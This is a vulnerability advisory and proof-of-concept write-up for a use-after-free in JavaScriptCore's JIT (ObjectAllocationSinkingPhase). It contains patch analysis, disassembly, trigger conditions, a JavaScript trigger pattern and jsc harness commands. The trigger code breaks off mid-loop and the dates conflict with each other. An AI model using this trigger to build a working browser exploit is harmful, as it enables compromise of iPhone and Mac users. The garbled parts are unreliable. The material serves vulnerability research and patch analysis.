Share
## https://sploitus.com/exploit?id=DD33AFF7-28AF-5DBC-BC86-75079EB9DF4A
# CVE-2025-43529: JavaScriptCore DFG ObjectAllocationSinkingPhase UAF

**Date:** 2025-01-02
**Platform:** macOS 26.1 (Build 25B78) / iOS 26.1 (Build 23B85)
**Status:** Patched in macOS/iOS 26.2
**Component:** JavaScriptCore (WebKit)
**Severity:** Critical (Memory Corruption / RCE potential)

---

## Executive Summary

CVE-2025-43529 is a use-after-free vulnerability in JavaScriptCore's DFG/FTL JIT compiler, specifically in the `ObjectAllocationSinkingPhase`. The root cause is a missing `isUnescapedAllocation` check in `promoteLocalHeap()`, allowing the compiler to create stale "hints" for allocations that have escaped through Phi merges. When an OSR (On-Stack Replacement) exit occurs, the runtime uses these stale hints to reconstruct values, reading corrupted or freed memory.

---

## Root Cause Analysis

### The Vulnerability (26.1)

In `ObjectAllocationSinkingPhase::promoteLocalHeap()`, the compiler iterates over `PromotedHeapLocation` entries and creates hints for OSR exit materialization **without verifying** if the underlying allocation has escaped:

```cpp
// 26.1 - VULNERABLE: No escape check before createHint
for (auto& entry : m_promotedHeapLocations) {
    createHint(entry);  // Called unconditionally
}
```

### The Fix (26.2)

A new function `LocalHeap::isUnescapedAllocation()` was added and called before creating hints:

```cpp
// 26.2 - PATCHED: Check escape status first
for (auto& entry : m_promotedHeapLocations) {
    if (isUnescapedAllocation(entry.allocation)) {
        createHint(entry);  // Only if truly unescaped
    }
}
```

---

## Binary Comparison

### Key Addresses

| Symbol | 26.1 (Vulnerable) | 26.2 (Patched) |
|--------|-------------------|----------------|
| `promoteLocalHeap` | 0x1a24841a0 | 0x1a25fc524 |
| `escapeAllocation` | 0x1a24928cc | 0x1a2609198 |
| `newAllocation` | 0x1a2490c14 | 0x1a2606e80 |
| `isUnescapedAllocation` | **N/A** | 0x1a261e350 |

### LocalHeap Entry Size Change

| Version | Entry Size | Notes |
|---------|------------|-------|
| 26.1 | 0x38 (56 bytes) | No escape tracking field |
| 26.2 | 0x48 (72 bytes) | +16 bytes for escape counter at offset 0x10 |

### isUnescapedAllocation Disassembly (26.2)

```asm
0x1a261e350: cbz     x0, 0x1a261e3c4          ; return false if null
0x1a261e354: ldur    w8, [x0, #-0x8]          ; load hash table mask
; ... hash table lookup ...
0x1a261e3b8: ldr     w8, [x11, #0x10]         ; KEY: load escape counter
0x1a261e3bc: cmp     w8, #0x0                 ; compare with 0
0x1a261e3c0: cset    w0, ne                   ; return 1 if unescaped
0x1a261e3c4: ret
```

---

## Trigger Conditions

All must be true for exploitation:

1. **Strict-mode function** - Affects argument/allocation handling in DFG
2. **Phi merge inside loop** - Creates escape scenario across branches
3. **Promoted stores** - `PutByOffset` (object fields) or `PutByVal` (array indices)
4. **Allocation escapes** - Stored to global, passed to function, or captured by closure
5. **OSR exit trigger** - Type speculation failure (e.g., int โ†’ object flip)
6. **Post-exit field access** - Reads from promoted locations using stale hints

---

## Validated Trigger Pattern

```javascript
"use strict";

let sink = null;

function makeA(v) {
    const o = {};
    o.x = v;          // PutByOffset - promoted store
    o.y = v + 1;
    const a = [v, v + 2];  // PutByVal - promoted store
    return { o, a };
}

function makeB(v) {
    const o = {};
    o.x = v;
    o.y = v + 3;
    const a = [v, v + 4];
    return { o, a };
}

function trigger(osrFlip) {
    let acc = 0;
    for (let i = 0; i :8080/ftl-hint.html
   ```

3. Tap "Run" - look for MISMATCH output indicating corruption

### macOS (JSC)

```bash
DYLD_FRAMEWORK_PATH=/path/to/macos-files/26.1-jsc \
JSC_useFTLJIT=true \
JSC_dumpDFGDisassembly=true \
/System/Library/Frameworks/JavaScriptCore.framework/Helpers/jsc \
ftl-hint-repro.js 2>&1 | tee /tmp/ftl_output.txt
```

---

## Why Earlier Probes Failed

| Probe Type | Why It Passed |
|------------|---------------|
| DirectArguments GC pressure | Not targeting promoteLocalHeap hints |
| PhantomDirectArguments Phi | Missing strict-mode, no promoted stores |
| ClonedArguments patterns | DFG eliminated allocations entirely |
| Simple OSR exit | No Phi escape before OSR trigger |
| GC pressure after access | Corruption happens during OSR exit, not GC |

**Key insight:** The vulnerability requires the specific FTL/DFG shape with:
- Strict-mode (affects allocation handling)
- Promoted stores before escape (creates PromotedHeapLocation entries)
- Phi merge (creates escape path)
- OSR exit (uses stale hints)

---

## Timeline

| Date | Event |
|------|-------|
| 2025-01-01 | Initial research began |
| 2025-01-02 | RE analysis identified isUnescapedAllocation fix |
| 2025-01-02 | First MISMATCH observed on iOS 26.1 |
| 2025-01-02 | macOS FTL harness confirmed same pattern |
| TBD | Patch released in macOS/iOS 26.2 |

---

## References

- **Affected Versions:** macOS/iOS 26.1 and earlier
- **Fixed Versions:** macOS/iOS 26.2+
- **Component:** JavaScriptCore ObjectAllocationSinkingPhase
- **CWE:** CWE-416 (Use After Free)

---

## Binary Artifacts

| File | Path | Description |
|------|------|-------------|
| JavaScriptCore (26.1) | `macos-files/26.1-jsc/JavaScriptCore` | Vulnerable binary (201MB) |
| JavaScriptCore (26.2) | `macos-files/26.2-jsc/JavaScriptCore` | Patched binary (228MB) |
| Symbols | `macos-files/26.1-jsc/JavaScriptCore.a2s` | Address-to-symbol map |

---

*Report generated by SpiderWebKit Security Research*